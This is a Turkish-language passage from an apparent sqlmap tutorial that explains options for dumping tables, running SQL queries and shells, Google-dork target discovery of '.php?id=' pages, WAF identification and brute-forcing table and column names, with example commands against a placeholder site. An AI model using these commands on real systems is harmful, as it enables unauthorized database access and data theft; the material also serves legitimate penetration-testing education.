--eta: Eğer test ettiğimiz sitemiz üzerinde açık varsa ve bu açıkları kullanarak dump işlemi gerçekleştirebiliyorsak, kalan zamanı öğrenebileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --columns --eta
--flush-session: Eğer test ettiğimiz sitemiz üzerindeki session kayıtlarını temizlemek ve yeni bir kayda başlamak istiyorsak, kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --dbs --flush-session
--forms: Eğer test ettiğimiz site üzerindeki test edilen kısım, bir form ise, bunu tanımlayıp form üzerinde test işlemimizi devam ettirebileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/register.php?id=1" --dbs --forms
--fresh-queries: Test ettiğimiz site üzerinde daha önce denediğimiz ve session içinde kayıtlı bulunan query cevaplarını, session dosyasını görmezden görerek tekrardan denemek istiyorsak kullanmamız gereken parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db --tables --fresh-queries
--hex: Test ettiğimiz site üzerinden gelen verileri DBMS hex fonksiyonlarını kullanarak tanımlamak istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --dbs --hex
--output-dir: Sqlmap ile denetlediğimiz site üzerinden gelen bilgileri dump edeceğimiz yeri default path yerine, kendi belirlediğimiz path'e kaydedilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --output-dir /kaydedilecek/yolumuz/kaydet.txt
--parse-errors: Sqlmap ile sorgu yaparak denediğimiz sitemiz üzerinden gelen cevaplar içerisindeki DBMS hata mesajlarını parse edip gösterilmesini istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --dbs --parse-errors
--pivot-column: Sqlmap'in limit/offset mekanizmasının çalışmadığı (nadir) ve tablo ya da kolon isimlerini çekemediği durumlarda kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --pivot-column=userID
--save:Kullandığımız ayarları, başka bir testimizde tekrar edeceksek ve/veya bunları tekrar kullanmak istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -dbs --threads=4 --level=3 --risk=3 --save
--scope: Burpsuite gibi proxy log'larından elde ettiğimiz, test edeceğimiz sitelerimizi, python regexp ile ayrıştırmak için kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -l burpLog.log --scope="[w]{3}?[.]?.*[.]com[.]tr?" --dbs
--test-filter: Sqlmap tarafından yapılacak testlerimizin payload'larının hepsinin değil de, bir filter'dan geçirdikten sonra kalan payload'lar tarafından yapılmasını istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --test-filter=ROW --dbs --batch
--update: Sqlmap'i güncellemek istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap --update
Miscellaneous Sekmesi:Geri kalan ne varsa bulunduran kategorimiz.
-z: Sqlmap ile yazılan uzun kodlar sonrası, sqlmap'e kısaltma olarak eklenmiş parametremiz. Bunun ile daha kısa halde kodlarımızı yazabilmekteyiz. Örnek olarak ve karşılaştırması:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --batch --banner --dump -D db -T tbl
sqlmap -u "
www.siteadi.com/testet.php?id=1" -z="bat,ban,du,D=db,T=tbl"
--alert: Sqlmap tarafından sql injection bulunduğu zaman çalıştırılmasını istediğimiz OS komutumuz/komutlarımız. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --alert=ls
--answers: Sqlmap'in soracağı sorulara verilecek cevapları tanımladığımız parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --answers="quit=N,follow=N"
--beep: Sqlmap tarafından sql injection bulunduğu zaman bilgisayarımızın biplemesini sağlayan komutumuz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --beep
--cleanup: Sqlmap tarafından tanımlanan özel UDF'lar ve tabloları temizlemek için kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --columns --cleanup
--dependencies: Sqlmap dependencie'lerinin eksik olup olmadığını denetlemek için kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap --dependencies
--disable-coloring: Sqlmap tarafından çıktılarda default olarak renklendirme yapılır. Eğer biz bu renklendirmeleri görmek istemiyorsak kullanabileceğimiz fonksiyonumuz. Örnek olarak:
sqlmap --disable-coloring
--gpage:Google dork ile arama yaparken, sayfa numarası belirterek aramayı kısıtlayabileceğimiz parametremiz. Örnek olarak:
sqlmap -g ".php?id=" --gpage=3 --dbs
--identify-waf: Test ettiğimiz sitemiz üzerinde bir WAF/IPS/IDS koruması olup olmadığını test etmek istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --identify-waf
--mobile: HTTP başlığı içerisinde gönderilen User-Agent değerini değiştirerek, kendimizi mobil bir cihazdan giriyormuş gibi göstermek istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --mobile
--page-rank: Google dork araması sonucu çıkan sonuçların page rank değerlerini bize döndüren parametremiz. Örnek olarak:
sqlmap -g ".php?id=" --page-rank --dbs
--purge-output: Sqlmap tarafından, site testi sonrası dump edilen verileri silmek istiyorsak kullanabileceğimiz parametremiz. Örnek olarak:
sqlmap --purge-output
--smart: Sqlmap site üzerinde teste başlamadan önce, kendisine verilen parametreleri basit bir testle denetleyip injectable olup olmadığı bilgisini bize gösterir. Bu parametre ile, eğer basit test sonucunda muhtemelen başarısız olacağımız sonucu sqlmap tarafından bize bildirilirse, sqlmap o adresi taramaz.Örnek olarak:
sqlmap -g ".php?id=" --smart --dbs
--sqlmap-shell: Yazıldığı takdirde sqlmap shell'ine giriş yapabildiğimiz parametremiz.Örnek olarak:
sqlmap --sqlmap-shell
--wizard: Sqlmap ile alıştırmalara yeni başlayan, daha alışamayan ya da hangi parametreleri gireceğini bilemeyen kullanıcılarına adım adım değer sorarak, kullanıcının işini kolaylaştıran parametremiz. Örnek olarak:
sqlmap --wizard
--start: Dump işlemini hangi kayıttan itibaren yapacağımızı belirttiğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --start=2
--stop: Dump işlemini hangi kayıtta sonlandıracağımızı belirttiğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --stop=10
--first: Dump işlemini hangi karakterden itibaren yapacağımızı belirttiğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --first=1
--last: Dump işlemini hangi karakterde sonlandıracağımızı belirttiğimiz parametremiz.Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db -T tbl --last=5
--sql-query: Eğer injection testimiz başarılı ise hangi sql sorgusunu çalıştırmak istediğimizi belirttiğimiz parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db --sql-query="SELECT * FROM tabloAdi"
--sql-shell: Eğer injection testimiz başarılı ise sql shell'e girmemize yarayan komutumuz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db --sql-shell
--sql-file: Eğer injection testimiz başarılı ise, belirttiğimiz dosya içerisindeki sql sorgularını çalıştırmamızı sağlayan parametremiz. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" -D db --sql-file=/dosya/yolu
Bruteforce Sekmesi: Bruteforce ile denetlemeler için kullanabileceğimiz parametrelerin bulunduğu kategorimiz.
--common-tables: Tablo isimleri herhangi bir sebeple çekilemediğinde ya da bu yolun daha hızlı olabileceğini düşündüğümüz durumlarda kullanabileceğimiz parametremiz. Sqlmap dosyası içerisinde tanımlı en çok kullanılan tabloların isimlerinin bulunduğu txt dosyasını okuyarak denemeler yapar.Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --common-tables
--common-columns: Kolon isimleri herhangi bir sebeple çekilemediğinde ya da bu yolun daha hızlı olabileceğini düşündüğümüz durumlarda kullanabileceğimiz parametremiz. Sqlmap dosyası içerisinde tanımlı en çok kullanılan kolon isimlerinin bulunduğu txt dosyasını okuyarak denemeler yapar. Örnek olarak:
sqlmap -u "
www.siteadi.com/testet.php?id=1" --common-columns
